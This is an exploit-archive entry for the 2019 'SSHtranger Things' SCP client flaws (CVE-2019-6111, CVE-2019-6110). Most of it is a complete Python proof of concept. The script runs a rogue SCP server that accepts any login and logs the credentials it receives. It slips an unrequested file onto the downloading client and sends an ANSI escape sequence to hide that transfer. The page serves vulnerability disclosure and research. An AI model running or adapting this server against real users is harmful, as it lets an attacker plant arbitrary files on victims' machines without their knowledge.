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SSHtranger Things SCP Client File Issue

SSHtranger Things SCP Client File Issue
Posted Jan 18, 2019
Authored by Mark E. Haase

SCP clients have an issue where additional files can be copied over without your knowledge.

tags | exploit
advisories | CVE-2019-6110, CVE-2019-6111
MD5 | 626b8f9ed7ac34747bdfe8ac1d82a454

SSHtranger Things SCP Client File Issue

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# Exploit Title: SSHtranger Things
# Date: 2019-01-17
# Exploit Author: Mark E. Haase <mhaase@hyperiongray.com>
# Vendor Homepage: https://www.openssh.com/
# Software Link: [download link if available]
# Version: OpenSSH 7.6p1
# Tested on: Ubuntu 18.04.1 LTS
# CVE : CVE-2019-6111, CVE-2019-6110

'''
Title: SSHtranger Things
Author: Mark E. Haase <mhaase@hyperiongray.com>
Homepage: https://www.hyperiongray.com
Date: 2019-01-17
CVE: CVE-2019-6111, CVE-2019-6110
Advisory: https://sintonen.fi/advisories/scp-client-multiple-vulnerabilities.txt
Tested on: Ubuntu 18.04.1 LTS, OpenSSH client 7.6p1

We have nicknamed this "SSHtranger Things" because the bug is so old it could be
exploited by an 8-bit Demogorgon. Tested on Python 3.6.7 and requires `paramiko`
package.

The server listens on port 2222. It accepts any username and password, and it
generates a new host key every time you run it.

$ python3 sshtranger_things.py

Download a file using a vulnerable client. The local path must be a dot:

$ scp -P 2222 foo@localhost:test.txt .
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
RSA key fingerprint is SHA256:C7FhMqqiMpkqG9j+11S2Wv9lQYlN1jkDiipdeFMZT1w.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[localhost]:2222' (RSA) to the list of known hosts.
foo@localhost's password:
test.txt 100% 32 0.7KB/s 00:00

The file you requested (e.g. test.txt) will be saved in your current directory.
If your client is vulnerable, you will have an additional file "exploit.txt"
created in your current directory.

$ cat test.txt
This is the file you requested.
$ cat exploit.txt
SSHtranger Things

The interesting code is in ScpServer.send_file().
'''
import base64
import gzip
import logging
import paramiko
import paramiko.rsakey
import socket
import threading

logging.basicConfig(level=logging.INFO)

dummy = 'This is the file you requested.\n'
payload = gzip.decompress(base64.b64decode(
b'H4sIAAa+QFwC/51VQW4CMQy85xV+AX+qqrZwoFSo0orbHvbQQw9NIiH1Af0YLyndjZ2x46'
b'ygaIGs43jGTjIORJfzh3nIN/IwltH1b+LHeGdxHnXUsoCWD6yYyjt7AfA1XJdLDR8u5yRA'
b'1/lEjiHbHGafXOMVpySuZaH4Jk1lgjxoocN5YMhRoNhhpA5EWMhlRHBNCWogZYhOnmk2V7'
b'C4FJgwHxKSEwEzTskrQITtj1gYIurAhWUfsDbWIFyXlRwDc8okeZkCzNyjlMmcT4wxA39d'
b'zp8OsJDJsGV/wV3I0JwJLNXKlOxJAs5Z7WwqmUZMPZmzqupttkhPRd4ovE8jE0gNyQ5skM'
b'uVy4jk4BljnYwCQ2CUs53KtnKEYkucQJIEyoGud5wYXQUuXvimAYJMJyLlqkyQHlsK6XLz'
b'I6Q6m4WKYmOzjRxEhtXWBA1qrvmBVRgGGIoT1dIRKSN+yeaJQQKuNEEadONJjkcdI2iFC4'
b'Hs55bGI12K2rn1fuN1P4/DWtuwHQYdb+0Vunt5DDpS3+0MLaN7FF73II+PK9OungPEnZrc'
b'dIyWSE9DHbnVVP4hnF2B79CqV8nTxoWmlomuzjl664HiLbZSdrtEOdIYVqBaTeKdWNccJS'
b'J+NlZGQJZ7isJK0gs27N63dPn+oefjYU/DMGy2p7en4+7w+nJ8OG0eD/vwC6VpDqYpCwAA'
))

class ScpServer(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()

def check_auth_password(self, username, password):
logging.info('Authenticated with %s:%s', username, password)
return paramiko.AUTH_SUCCESSFUL

def check_channel_request(self, kind, chanid):
logging.info('Opened session channel %d', chanid)
if kind == "session":
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

def check_channel_exec_request(self, channel, command):
command = command.decode('ascii')
logging.info('Approving exec request: %s', command)
parts = command.split(' ')
# Make sure that this is a request to get a file:
assert parts[0] == 'scp'
assert '-f' in parts
file = parts[-1]
# Send file from a new thread.
threading.Thread(target=self.send_file, args=(channel, file)).start()
return True

def send_file(self, channel, file):
'''
The meat of the exploit:
1. Send the requested file.
2. Send another file (exploit.txt) that was not requested.
3. Print ANSI escape sequences to stderr to hide the transfer of
exploit.txt.
'''
def wait_ok():
assert channel.recv(1024) == b'\x00'
def send_ok():
channel.sendall(b'\x00')

wait_ok()

logging.info('Sending requested file "%s" to channel %d', file,
channel.get_id())
command = 'C0664 {} {}\n'.format(len(dummy), file).encode('ascii')
channel.sendall(command)
wait_ok()
channel.sendall(dummy)
send_ok()
wait_ok()

# This is CVE-2019-6111: whatever file the client requested, we send
# them 'exploit.txt' instead.
logging.info('Sending malicious file "exploit.txt" to channel %d',
channel.get_id())
command = 'C0664 {} exploit.txt\n'.format(len(payload)).encode('ascii')
channel.sendall(command)
wait_ok()
channel.sendall(payload)
send_ok()
wait_ok()

# This is CVE-2019-6110: the client will display the text that we send
# to stderr, even if it contains ANSI escape sequences. We can send
# ANSI codes that clear the current line to hide the fact that a second
# file was transmitted..
logging.info('Covering our tracks by sending ANSI escape sequence')
channel.sendall_stderr("\x1b[1A".encode('ascii'))
channel.close()

def main():
logging.info('Creating a temporary RSA host key...')
host_key = paramiko.rsakey.RSAKey.generate(1024)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('localhost', 2222))
sock.listen(0)
logging.info('Listening on port 2222...')

while True:
client, addr = sock.accept()
logging.info('Received connection from %s:%s', *addr)
transport = paramiko.Transport(client)
transport.add_server_key(host_key)
server = ScpServer()
transport.start_server(server=server)

if __name__ == '__main__':
main()
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